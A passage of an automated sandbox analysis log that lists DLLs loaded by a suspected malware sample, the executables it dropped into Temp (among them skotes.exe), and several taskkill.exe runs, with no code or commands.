Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
